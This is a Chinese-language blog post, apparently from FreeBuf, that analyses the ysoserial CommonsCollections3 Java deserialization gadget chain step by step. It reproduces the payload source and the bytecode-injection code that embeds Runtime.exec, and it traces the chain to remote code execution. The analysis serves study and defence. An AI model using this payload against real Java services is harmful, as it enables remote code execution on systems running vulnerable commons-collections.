VegetaY
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

CommonsCollections3
源码
- commons-collections:commons-collections:3.1
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.xml.transform.Templates;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public CommonsCollections3() {}
public Object getObject(String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})};
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
Map mapProxy = (Map)Gadgets.createMemoitizedProxy(lazyMap, Map.class, new Class[0]);
InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;}
public static void main(String[] args) throws Exception {
PayloadRunner.run(CommonsCollections3.class, args);}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();}
}
直接开始看getObject
方法
createTemplatesImpl
Object templatesImpl = Gadgets.createTemplatesImpl(command);
先看一下这次又搞了什么恶意的对象,进入createTemplatesImpl,传入command进入createTemplatesImpl(String command)
这个构造函数经过一个三元运算,主要判断给具体的createTemplatesImpl方法传入什么参数。直接进入最终的createTemplatesImpl
T templates = tplClass.newInstance();
第一行代码创建了TemplatesImpl类型的对象
image-20230616135407322
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
CtClass clazz = pool.get(StubTransletPayload.class.getName());
利用javassist技术来构造类,javassist是一种可以修改字节码的技术,在这里可以理解成它创建了一个类。ClassPool.getDefault();
创建一个类池里面又很多类包括jdk自带的那些,insertClassPath
把一个类路径加到类池中,这样就可以从类池中获取它。pool.get(StubTransletPayload.class.getName());
从类池里面获取StubTransletPayload类赋值给clazz,后面就可以修改clazz。
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\", "\\\\").replace("\"", "\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd);
cmd是我们要执行的代码,调用Runtime包来执行我们想要执行的命令。clazz.makeClassInitializer().insertAfter(cmd);
在clazz类中加一段静态代码快,就是static{}
中的代码,这段代码好像。当类被加载时(即第一次使用该类时),JVM会执行该类的静态代码块。makeClassInitializer
获取了该类的静态代码块,insertAfter(cmd)
方法将cmd插入到静态代码块中,在原有代码的后面。
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
setName
为该类设置一个新的名称,从类池中获取abstTranslet类,setSuperclass(superC);
把abstTranslet设置成clazz的父类。
byte[] classBytes = clazz.toBytecode();
获取clazz的字节码赋值给字节数组classBytes
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
Reflections.setFieldValue
是用来设置属性值的,接收三个参数:要设置的类、属性名、设置的值。上面的代码分别设置了三个属性,最主要的还是_bytecodes属性,包含我们获得的classBytes。最后返回了设置好的对象templates
image-20230616141210576
transformerChain
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
这个在之前的文章中有分析过。在这里实例化一个Transformer类型的对象transformerChain,实例化时传入构造函数的参数是一个Transformer类型的数组,这个数组只有一个元素就是ConstantTransformer对象
先看new ConstantTransformer(1)
,这个类实现了Transformer和反序列化接口Serializable
public class ConstantTransformer implements Transformer, Serializable{}
public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}
构造方法也只是简单的将iConstant赋值成传入的constantToReturn也就是1。
接着回到new ChainedTransformer
,ChainedTransformer本身也是Transformer的实现类,也可以被序列化。
public class ChainedTransformer implements Transformer, Serializable{}
image-20230616142044492
ChainedTransformer的构造方法也是简单的赋值工作,把iTransformers属性设置成传入的transformers。
Transformer
回到getObject方法,进入下一行。
Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})};
这里创建了一个Transformer类型的数组,里面有2个元素。
第一个元素new ConstantTransformer(TrAXFilter.class)
,是一个ConstantTransformer对象,与上面不同的时传入的参数是一个TrAXFilter类,简单看看TrAXFilter,这里非常关键的出现了_transformer = (TransformerImpl) templates.newTransformer();
并且_templates可控的
public class TrAXFilter extends XMLFilterImpl {
private Templates _templates;
private TransformerImpl _transformer;
private TransformerHandlerImpl _transformerHandler;
private boolean _overrideDefaultParser;
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();}
第二个元素new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
是一个InstantiateTransformer对象,传入的参数是一个Class数组包含一个Templatesl类。InstantiateTransformer的构造方法如下,接收俩参数,把Class[]类型的参数赋值给自己的iParamTypes属性。new Object[]{templatesImpl}
,是一个Object数组,唯一元素时我们创建好的恶意类templatesImpl并赋值给自己的iArgs属性
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;}
Proxy
回到getObject继续向下看,看到这熟悉的代码就知道它准备上java的动态代理了。
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
上面的代码先创建了一个HashMap对象然后调用decorate并将返回值赋值给lazyMap。进到decorate方法中
image-20230616143752190
看到它又进入到LazyMap方法中去。它把传入的factory赋值给自己的属性factory,
image-20230616143852629
一路返回然后进入创建动态代理的步骤
Map mapProxy = (Map)Gadgets.createMemoitizedProxy(lazyMap, Map.class, new Class[0]);
InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Gadgets.createMemoitizedProxy
是创建动态代理方法,进入createMemoitizedProxy会直接调用createMemoizedInvocationHandler--->createProxy
createMemoizedInvocationHandler的作用是获取一个AnnotationInvocationHandler对象。
public static InvocationHandler createMemoizedInvocationHandler(Map<String, Object> map) throws Exception {
return (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);}
这个AnnotationInvocationHandler有讲究,他是InvocationHandler的实现类,用它做动态代理之后,调用被代理对象的方法时会先进入AnnotationInvocationHandler的invoke方法。
看AnnotationInvocationHandler的构造方法,重点在它将传入的var1和var2赋值给自己的属性。
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");}
}
createMemoizedInvocationHandler(mapProxy)
返回一个AnnotationInvocationHandler对象,与上面不同的是,此时传入的参数是上面得到的代理对象mapProxy
image-20230616151406051
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
修改transformerChain的属性iTransformers值为transformers,并返回了handler。getObject方法结束,接下去就是序列化的到payload接着反序列化执行payload。
总结
从反序列化的过程再看印证上面的步骤。getObject返回的handler是强制类型转换(InvocationHandler)之后的AnnotationInvocationHandler对象,AnnotationInvocationHandler不仅实现了InvocationHandler也实现了Serializable所以它可以进行序列化操作。同是它也对readObject方法进行重写,再反序列化时自动执行其中的代码。再getObject中创建handler对象是传入的参数就是代理对象mapProxy并且在AnnotationInvocationHandler的构造方法中被赋值给this.memberValues所以在readObject肯定有调用this.memberValues。
image-20230616155615343
memberValues是我们创建的代理对象,会进入的invoke方法。但是我们在创建代理对象的时候,给当时的AnnotationInvocationHandler构造方法传入的参数是lazyMap
image-20230616160002663
所以在这次的invoke方法中Object var6 = this.memberValues.get(var4);
调用的是lazyMap的get方法。
image-20230616161819765
而lazyMap是LazyMap类的对象。所以调用的是LazyMap的get方法。
image-20230616160403801
在get方法中看见了令人熟悉的transform。回顾getObject方法,在创建这个lazyMap时我们传入了transformerChain,并且在LazyMap的构造方法中把transformerChain赋值给this.factory
。所以this.factory.transform(key)
实际上调用的是transformerChain的transform方法。
image-20230616160943685
看到transformerChain的transform,它遍历自己的iTransformers属性并调用其中元素的transform方法。在getObject中iTransformers被设置成transformers是一个数组。遍历第一个元素时,transformers的第一个元素是new ConstantTransformer(TrAXFilter.class)
,ConstantTransformer的构造方法将TrAXFilter.class赋值给iConstant属性,在transform方法将iConstant给return回来。所以第一次循环将object的值变成了TrAXFilter,随后这个object在第二次循环中被当作参数传入transform。
image-20230616164431033
在遍历到第二个元素也就是new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
的时候进入InstantiateTransformer的transform方法
image-20230616162638291
首先执行getConstructor获取input(input=object=TrAXFilter)的有参构造方法,然后再使用newInstance实例化。所以会进入TrAXFilter的构造方法。
image-20230616165145865
在构造方法中调用templatesImpl的newTransformer执行我们的字节码成功RCE
image-20230616165419390
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)